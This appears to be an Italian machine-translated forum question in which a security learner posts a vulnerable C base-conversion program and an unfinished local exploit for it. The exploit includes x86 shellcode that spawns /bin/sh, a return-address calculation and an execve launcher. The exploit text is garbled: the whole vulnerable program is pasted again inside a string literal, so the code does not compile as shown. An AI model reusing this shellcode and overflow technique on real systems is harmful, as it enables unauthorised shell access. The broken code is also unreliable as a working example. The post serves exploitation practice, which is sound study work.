programma C - programma exploit (dopo l'errore seg)

4

Il programma seguente accetta tre parametri: Base da convertire da , base da convertire in e il numero da convertire in binario

Come parte della sicurezza dell'apprendimento - sto provando a tamponare questo programma. Sono riuscito a ottenere un errore di segmentazione, tuttavia non vedo un modo per poterlo sfruttare dopo.

Dopo aver esaminato lo stack, ho trovato l'indirizzo di ritorno: 0xbfffffc0

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void mystrcat(char *dst, const char *src) {
  while (*dst) dst++;
  while ((*(dst++) = *(src++)));
}

void mystrncpy(char *dst, const char *src, size_t n) {
  if (!n) return;

  while (n-- > 1) {
    if (!(*(dst++) = *(src++))) return;
  }
  *dst = 0;
}

int strequal(const char *s1, const char *s2, size_t n) {
  char c;

  while (n-- > 0) {
    c = *(s1++);
    if (c != *(s2++)) return 0;
    if (!c) return 1;
  }
  return 1;
}

unsigned long from_radix(char *s, int radix) {
  char c;
  unsigned char cval;
  unsigned long result = 0, oldresult;

  for (; ; ) {
    c = *(s++);
    if (!c) {
        return result;
    } else if (c >= '0' && c <= '9') {
        cval = c - '0';
    } else if (c >= 'A' && c <= 'Z') {
        cval = c - 'A' + 10;
    } else if (c >= 'a' && c <= 'z') {
        cval = c - 'a' + 10;
    } else {
        fprintf(stderr, "invalid character in input\n");
        exit(1);
    }

    if (cval >= radix) {
        fprintf(stderr, "invalid digit in input\n");
        exit(1);
    }
    oldresult = result;
    result = result * radix + cval;
    if (result < oldresult) {
        fprintf(stderr, "overflow detected, argument too large\n");
        exit(1);
    }
  }
}

void reverse(char *buffer, size_t len) {
  char *p1 = buffer, *p2 = buffer + len - 1, tmp;

  while (p1 < p2) {
    tmp = *p1;
    *(p1++) = *p2;
    *(p2--) = tmp;
  }
}

char *to_radix(unsigned long n, int radix) {
  char buffer[1024], *result = buffer;
  int index = 0;

  do {
    result[index++] = "0123456789abcdefghijklmnopqrstuvwxyz"[n % radix];
    n /= radix;
  } while (n > 0);
  result[index] = 0;

  reverse(result, index);

  return result;
}


char *find_separator(char **envp) {
  char buffer[256], *result;

  if (!*envp) {
    return NULL;
  }

  if (!strequal("SEPARATOR=", *envp, 10)) {
    return find_separator(envp + 1);
  }

  mystrncpy(buffer, *envp + 10, sizeof(buffer));
  result = buffer;
  return result;
}

int main(int argc, char **argv, char **envp) {
  char buffer[384];
  char *invalue, *outvalue, *separator;
  int newradix, oldradix;
  unsigned long value;

  if (argc != 4) {
    fprintf(stderr, "wrong number of params\n");
    return 1;
  }

  oldradix = atoi(argv[1]);
  newradix = atoi(argv[2]);
  if (newradix < 2 || newradix > 36 || oldradix < 2 || oldradix > 36) {
    fprintf(stderr, "radix out of bounds\n");
    return 1;
  }

  invalue = argv[3];
  while (*invalue == '0') invalue++;

  value = from_radix(invalue, oldradix);
  outvalue = to_radix(value, newradix);

  separator = find_separator(envp);
  if (!separator) separator = " -> ";

  buffer[0] = 0;
  mystrcat(buffer, invalue);
  mystrcat(buffer, separator);
  mystrcat(buffer, outvalue);
  printf("%s\n", buffer);

  return 0;
}

Exploit:

int main(int argc, char *argv[]) {
  char dir[] = "path/to/file";
  char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80/bin/sh";
  char *arg1 = "16";
  char *arg2 = "2";
  char arg4[400];

  unsigned int addr = 0xc0000000 - 4 - strlen(dir) - 1 - strlen(shellcode) - 1;
  fprintf(stderr, "Using address: %#010x\n", addr);
  unsigned int i;
  for (i=0; i<400; i++) {
    arg4[i] = '1';
  }
  arg4[400] = '
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void mystrcat(char *dst, const char *src) {
  while (*dst) dst++;
  while ((*(dst++) = *(src++)));
}

void mystrncpy(char *dst, const char *src, size_t n) {
  if (!n) return;

  while (n-- > 1) {
    if (!(*(dst++) = *(src++))) return;
  }
  *dst = 0;
}

int strequal(const char *s1, const char *s2, size_t n) {
  char c;

  while (n-- > 0) {
    c = *(s1++);
    if (c != *(s2++)) return 0;
    if (!c) return 1;
  }
  return 1;
}

unsigned long from_radix(char *s, int radix) {
  char c;
  unsigned char cval;
  unsigned long result = 0, oldresult;

  for (; ; ) {
    c = *(s++);
    if (!c) {
        return result;
    } else if (c >= '0' && c <= '9') {
        cval = c - '0';
    } else if (c >= 'A' && c <= 'Z') {
        cval = c - 'A' + 10;
    } else if (c >= 'a' && c <= 'z') {
        cval = c - 'a' + 10;
    } else {
        fprintf(stderr, "invalid character in input\n");
        exit(1);
    }

    if (cval >= radix) {
        fprintf(stderr, "invalid digit in input\n");
        exit(1);
    }
    oldresult = result;
    result = result * radix + cval;
    if (result < oldresult) {
        fprintf(stderr, "overflow detected, argument too large\n");
        exit(1);
    }
  }
}

void reverse(char *buffer, size_t len) {
  char *p1 = buffer, *p2 = buffer + len - 1, tmp;

  while (p1 < p2) {
    tmp = *p1;
    *(p1++) = *p2;
    *(p2--) = tmp;
  }
}

char *to_radix(unsigned long n, int radix) {
  char buffer[1024], *result = buffer;
  int index = 0;

  do {
    result[index++] = "0123456789abcdefghijklmnopqrstuvwxyz"[n % radix];
    n /= radix;
  } while (n > 0);
  result[index] = 0;

  reverse(result, index);

  return result;
}


char *find_separator(char **envp) {
  char buffer[256], *result;

  if (!*envp) {
    return NULL;
  }

  if (!strequal("SEPARATOR=", *envp, 10)) {
    return find_separator(envp + 1);
  }

  mystrncpy(buffer, *envp + 10, sizeof(buffer));
  result = buffer;
  return result;
}

int main(int argc, char **argv, char **envp) {
  char buffer[384];
  char *invalue, *outvalue, *separator;
  int newradix, oldradix;
  unsigned long value;

  if (argc != 4) {
    fprintf(stderr, "wrong number of params\n");
    return 1;
  }

  oldradix = atoi(argv[1]);
  newradix = atoi(argv[2]);
  if (newradix < 2 || newradix > 36 || oldradix < 2 || oldradix > 36) {
    fprintf(stderr, "radix out of bounds\n");
    return 1;
  }

  invalue = argv[3];
  while (*invalue == '0') invalue++;

  value = from_radix(invalue, oldradix);
  outvalue = to_radix(value, newradix);

  separator = find_separator(envp);
  if (!separator) separator = " -> ";

  buffer[0] = 0;
  mystrcat(buffer, invalue);
  mystrcat(buffer, separator);
  mystrcat(buffer, outvalue);
  printf("%s\n", buffer);

  return 0;
}
'; char *program[] = {dir, arg1, arg2, arg4, NULL}; execve(dir, program, NULL); return 0; }
    
posta Mathematica 28.02.2016 - 16:03
fonte

0 risposte

Leggi altre domande sui tag